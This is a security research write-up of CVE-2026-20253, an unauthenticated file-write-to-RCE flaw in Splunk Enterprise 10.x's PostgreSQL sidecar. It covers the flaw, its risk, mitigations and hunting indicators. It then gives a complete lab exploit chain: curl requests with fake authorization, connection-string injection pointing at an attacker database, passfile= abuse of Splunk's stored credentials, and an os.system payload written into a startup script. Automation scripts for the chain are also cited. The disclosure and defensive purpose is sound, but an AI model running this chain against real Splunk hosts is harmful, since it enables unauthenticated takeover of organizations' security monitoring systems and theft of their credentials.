CVE-2026-20253 | Splunk Enterprise 10.x – Unauthenticated Arbitrary File Write to RCE via PostgreSQL Sidecar Recovery Endpoint
1. Introduction
This document illustrates a Missing Authentication for a Critical Function vulnerability (CWE-306) in Splunk Enterprise, the flagship on-premises observability and Security Information and Event Management (SIEM) platform owned by Cisco and used by tens of thousands of organizations worldwide. The flaw lets an unauthenticated, network-reachable attacker create or truncate arbitrary files on the Splunk host through a PostgreSQL sidecar recovery endpoint. This research validates the primitive in a live lab and carries the complete public chain end-to-end – connection-string injection, credential-file abuse, and arbitrary-content file write during restore replay – into fully demonstrated Remote Code Execution (RCE) as the Splunk service account, observable from an unauthenticated browser. Splunk disclosed the issue on 10 June 2026, watchTowr Labs published a working exploit chain two days later, and on 18 June 2026 CISA added the flaw to its Known Exploited Vulnerabilities (KEV) catalog – the first Splunk vulnerability ever listed – after confirmed in-the-wild exploitation, with a federal remediation deadline of 21 June 2026.
2. Splunk Enterprise Description
Splunk Enterprise is a data platform for searching, monitoring and analyzing machine-generated data at scale. It ingests logs, metrics and events from across an organization’s IT environment, indexes them, and makes them queryable in near real time through Splunk’s Search Processing Language (SPL), powering dashboards, alerting, IT operations monitoring and SIEM use cases. It is distributed as self-hosted commercial software (the affected product) alongside the managed Splunk Cloud Platform (not affected), and is frequently deployed at the heart of security operations centers, which makes compromise of the platform itself a high-value objective for an attacker.
3. Vulnerability Severity
| CVE ID | CVE-2026-20253 (Splunk Enterprise) |
| Severity | CRITICAL |
| CVSS Score | 9.8 / 10 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-306 – Missing Authentication for Critical Function |
| Vendor Advisory | SVD-2026-0603 |
| Fixed Versions | Splunk Enterprise 10.0.7 / 10.2.4 / 10.4.0 |
| Published | June 2026 |
The vulnerability carries the maximum exploitability profile: network attack vector, low complexity, no privileges, no user interaction. CISA’s KEV entry (added 18 June 2026, due 21 June 2026) and Splunk PSIRT’s confirmation of limited active exploitation elevate it to urgent-patch status.
4. Scope of Impact
- Splunk Enterprise 10.0.0 – 10.0.6 is affected.
- Splunk Enterprise 10.2.0 – 10.2.3 is affected.
- The vulnerability is fixed in 10.0.7, 10.2.4 and 10.4.0 (and later).
- Splunk Enterprise 9.4 and earlier is not affected (PostgreSQL sidecars were introduced in version 10).
- Splunk Cloud Platform is not affected – it does not use PostgreSQL sidecars.
- On AWS deployments the PostgreSQL sidecar is enabled by default, making instances vulnerable out of the box; on on-premises Windows installs the sidecar may be absent or disabled – verify before testing.
5. Where is the vulnerability present?
The vulnerability is present in the PostgreSQL Sidecar Service bundled with Splunk Enterprise 10.x, a Go binary responsible for database backup and recovery that Splunk supervises under /opt/splunk/var/run/supervisor/pkg-run/. The sidecar exposes internal HTTP endpoints – POST /v1/postgres/recovery/backup and POST /v1/postgres/recovery/restore – that are not meant to be reachable by clients. However, Splunk Web (port 8000) acts as a reverse proxy for internal services, and these endpoints are reachable externally through the proxy path /en-US/splunkd/__raw/v1/postgres/recovery/backup.
Although the endpoints declare an HTTP Basic Authorization header in their interface, the sidecar performs no actual credential validation – it accepts any value, including empty credentials (Authorization: Basic Og==, the base64 of a bare colon). The supplied username is forwarded verbatim to pg_dump as its -U argument, with PostgreSQL left to arbitrate the connection. The flaw therefore crosses a trust boundary: a loopback-only internal service is exposed through the internet-facing web tier with no application-level authentication of its own.
The file-write primitive lives in the backupFile parameter of the request body, which is passed unsanitized to pg_dump -f as the output file path. An attacker controls the complete path – absolute paths and ../ traversal sequences both resolve – so a single unauthenticated POST creates or truncates a file at any location writable by the splunk service account. The /restore endpoint passes the same parameter to pg_restore, completing the create/truncate primitive pair. A response of HTTP 400 (Failed to decode request) proves the endpoint was reached and the credentials accepted without validation; HTTP 401 indicates the patched build, and HTTP 404 that the sidecar is not installed.
Beyond empty files, both parameters also accept libpq connection-string syntax, which is the bridge to full compromise: the database parameter can redirect the sidecar’s own pg_dump/pg_restore tools to an attacker-controlled PostgreSQL server and can point passfile= at the credential file Splunk stores for itself at /opt/splunk/var/packages/data/postgres/.pgpass (containing the local postgres_admin password). These injection vectors, combined with function execution during restore replay, are what the lab chain in section 8 demonstrates.
6. Risk
The immediate capability is unauthenticated arbitrary file creation and truncation on the Splunk host as the splunk user, requiring nothing more than network reachability to Splunk Web and a single crafted HTTP POST. Because pg_dump opens the output file for writing, existing files can be zeroed – destroying configuration, indexes or authentication data – and new files can be planted at any writable path.
The primitive escalates to fully demonstrated Remote Code Execution through three chained stages, each executed in this research against a live instance. First, injecting a connection string (host=, hostaddr=) into the database parameter overrides the hardcoded localhost and forces the sidecar’s pg_dump to dump an attacker-controlled database – with attacker-chosen schema and data – onto the Splunk filesystem. Second, injecting passfile= pointing at Splunk’s own .pgpass authenticates pg_restore as postgres_admin against the local instance; replaying the attacker’s dump executes a plpgsql function attached to a table CHECK constraint, which calls lo_export to write attacker-controlled file contents (not just empty files) to any path. Third, overwriting a Python script that splunkd executes at startup – splunk_secure_gateway/bin/ssg_enable_modular_input.py – yields code execution as the Splunk service account on the next restart, with command output observable in an unauthenticated browser through Splunk’s web-exposed static directory. An alternative chain documented by Miggo achieves execution via COPY TO PROGRAM during restore replay.
Because the target is usually the organization’s SIEM, successful exploitation blurs the defender’s vision at the moment of intrusion. An adversary with RCE on a Splunk host can tamper with indexed data, saved searches, dashboards and alerts to hide ongoing activity; read stored credentials, tokens and app configurations; and pivot to lateral movement across the logging estate. Confidentiality, integrity and availability are all fully compromised – the CVSS 9.8 vector assigns High impact to all three C-I-A dimensions.
Exploitation is low-complexity, fully automatable, requires no user interaction, and is being performed in practice: Splunk PSIRT confirmed limited in-the-wild exploitation in June 2026 and CISA issued a three-day federal remediation deadline. Organizations running unpatched, internet-exposed Splunk Enterprise 10.x instances – particularly AWS deployments where the sidecar is enabled by default – should treat exposed instances as potentially compromised.
7. Mitigation
- Upgrade Splunk Enterprise to 10.0.7, 10.2.4 or 10.4.0 (or later) – see the vendor advisory SVD-2026-0603.
- If immediate upgrade is not possible, disable the PostgreSQL sidecar by adding [postgres] disabled = true to $SPLUNK_HOME/etc/system/local/server.conf and restarting Splunk. Note: this breaks Edge Processor, OpAmp and SPL2 data pipelines – do not apply where those features are in use. Core search, indexing and dashboards are unaffected.
- Remove Splunk Web (port 8000) from direct internet exposure; place it behind identity-based, zero-trust access and restrict the management interface and sidecar to trusted network segments.
- As a compensating control, deploy a Web Application Firewall (WAF) rule blocking requests to the recovery endpoints that carry PostgreSQL connection-string parameters such as hostaddr=, host=, dbname=, passfile=, options= or ../ traversal in the body. This is a partial mitigation only – the missing authentication flaw remains until the upgrade is applied.
- Hunt for indicators of compromise: unauthenticated POSTs to /en-US/splunkd/__raw/v1/postgres/recovery/*, unexpected pg_dump/pg_restore executions, database dump files in unusual locations such as /tmp/, outbound connections from Splunk hosts to unknown PostgreSQL servers, modified scripts under splunk_secure_gateway, and unexpected files in Splunk’s web-exposed static directory.
8. Exploit Implementation
1. Attack Scenario
The exploitation below was validated against an isolated, Docker-based lab running the vulnerable image splunk/splunk:10.2.3 with Splunk Web exposed at http://localhost:8000, plus a second container (attacker-db, PostgreSQL 17 with trust authentication) that plays the role of the adversary’s database server. All exploitation requests are sent without any valid credentials – only fake Basic authorization headers – demonstrating the pre-authentication nature of the flaw. The lab first validates the arbitrary file-write primitive, then executes the complete file-write-to-RCE chain end-to-end: connection-string injection, .pgpass abuse, lo_export during restore replay, and browser-visible command execution as the splunk service account.
Prerequisites:
- Nuclei with the ProjectDiscovery nuclei-templates repository (for confirmation scan)
- curl (manual exploitation)
- Python 3 with requests (to run the provided exploit.py and rce-chain.py)
- The lab’s attacker-db service (started automatically by docker compose up -d)
2. Exploitation
- Confirm the vulnerable target is accessible and running an affected version.


Splunk Enterprise 10.2.3 falls inside the affected range 10.2.0–10.2.3, and the Docker image runs the PostgreSQL sidecar by default – the preconditions for the vulnerability.
- Run the official Nuclei template to confirm the vulnerability.
cd /Users/User/Documents/Blogs_CVE/CVE-2026-20253
nuclei -t nuclei-templates/CVE-2026-20253.yaml -u http://localhost:8000 -v
The template sends a single unauthenticated POST to /en-US/splunkd/__raw/v1/postgres/recovery/backup with Authorization: Basic ZGFnOg==. The match – body Failed to decode request with status 400 – confirms the request was proxied to the sidecar and the credentials accepted without validation.
- Send the manual detection probe and observe the vulnerability indicator.
curl -v -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" \
-H "Authorization: Basic Og=="

The empty-credential POST is forwarded through Splunk Web to the sidecar, which accepts the fake authorization and fails only at application-level body decoding – HTTP 400 with Failed to decode request. A patched build answers 401 at this point; a build without the sidecar answers 404.
- Write a file to an attacker-controlled path using the backupFile parameter.
curl -v -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" \
-H "Authorization: Basic Og==" \
-H "Content-Type: application/json" \
-d '{"database":"postgres","backupFile":"/tmp/pwned-by-cve-2026-20253"}'

With a valid JSON body the sidecar schedules the backup job and returns 200 with {“backupFile”:”/tmp/pwned-by-cve-2026-20253″,…,”state”:”BackupPending”} – again with no credentials. The backupFile value reaches pg_dump -f unsanitized, creating the file at the absolute attacker-chosen path (traversal sequences such as ../../../../../../tmp/x resolve identically).
- Verify the file was created inside the container.
docker compose exec splunk ls -la /tmp/pwned-by-cve-2026-20253
# -rw------- 1 splunk splunk 0 ... /tmp/pwned-by-cve-2026-20253
The file exists, owned by the splunk service account – confirmation of unauthenticated arbitrary file creation on the host filesystem. Re-issuing the request against an existing path truncates it, and the /restore endpoint accepts the same parameter for pg_restore, completing the create/truncate primitive pair described in the advisory.
- Confirm end-to-end detection with the exploit script.
python3 exploit.py --url http://localhost:8000

The script (adapted from the watchTowr Detection Artifact Generator) performs the detection probe, prints the vulnerability verdict and triggers the file write at its –file path. The remaining steps escalate the proven primitive into full Remote Code Execution.
- Stage the malicious dump: connection-string injection via the backup endpoint.
The attacker-db container runs an adversary-controlled PostgreSQL 17 with trust authentication, seeded with a database containing a plpgsql function rce_f that calls lo_export to write attacker-chosen bytes to a chosen path, wired to a table CHECK constraint so it fires when the dump’s data is replayed. The database parameter accepts a libpq connection string, overriding the sidecar’s hardcoded localhost target:
curl -s -w "\nHTTP %{http_code}\n" -X POST \
"http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" \
-H "Authorization: Basic dGVzdDo=" \
-H "Content-Type: application/json" \
-d '{"database":"host=attacker-db port=5432 dbname=test","backupFile":"/tmp/poc"}'
docker compose exec -u splunk splunk ls -la /tmp/poc
docker compose exec -u splunk splunk bash -c \
'export LD_LIBRARY_PATH=/opt/splunk/lib && /opt/splunk/bin/pg_restore -l /tmp/poc | tail -5'

The sidecar’s bundled pg_dump (PostgreSQL 17.7) connected to the adversary’s database instead of its own and wrote the attacker’s database – function, constraint-bearing table and data – to /tmp/poc on the Splunk host, all without credentials. The TOC order (function before table before data) is what arms the next stage.
- Fire the payload: restore with Splunk’s own .pgpass.
The restore request injects passfile= pointing at the credentials Splunk stores for itself, authenticating pg_restore as postgres_admin against the local instance and replaying the attacker’s dump into template1. During replay, the COPY of rce_t data evaluates the CHECK constraint, executing rce_f → lo_export and overwriting a Python script splunkd executes at startup:
curl -s -w "\nHTTP %{http_code}\n" -X POST \
"http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/restore" \
-H "Authorization: Basic cG9zdGdyZXNfYWRtaW46" \
-H "Content-Type: application/json" \
-d '{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/poc"}'
docker compose exec -u splunk splunk cat \
/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
# import os
# os.system("id > /opt/splunk/share/splunk/search_mrsparkle/exposed/rce-proof.txt 2>&1")

The file write is no longer an empty placeholder: the attacker controls the full file contents, written as the splunk user to a path Splunk will execute. Two unauthenticated POSTs have now crossed from arbitrary file write to armed code execution.
- Execute and observe: browser-visible RCE proof.
docker compose exec -u splunk splunk /opt/splunk/bin/splunk restart
# ... wait for Splunk to restart ...
curl http://localhost:8000/en-US/static/rce-proof.txt

On restart, splunkd runs the overwritten ssg_enable_modular_input.py, which executes id and writes the output into Splunk’s web-exposed static directory. The command output – uid=41812(splunk) – is served by Splunk Web at /en-US/static/rce-proof.txt without authentication: unauthenticated Remote Code Execution as the Splunk service account, visible in a browser. The complete chain is automated by the provided rce-chain.py, which executes both injection stages and polls for the webroot proof.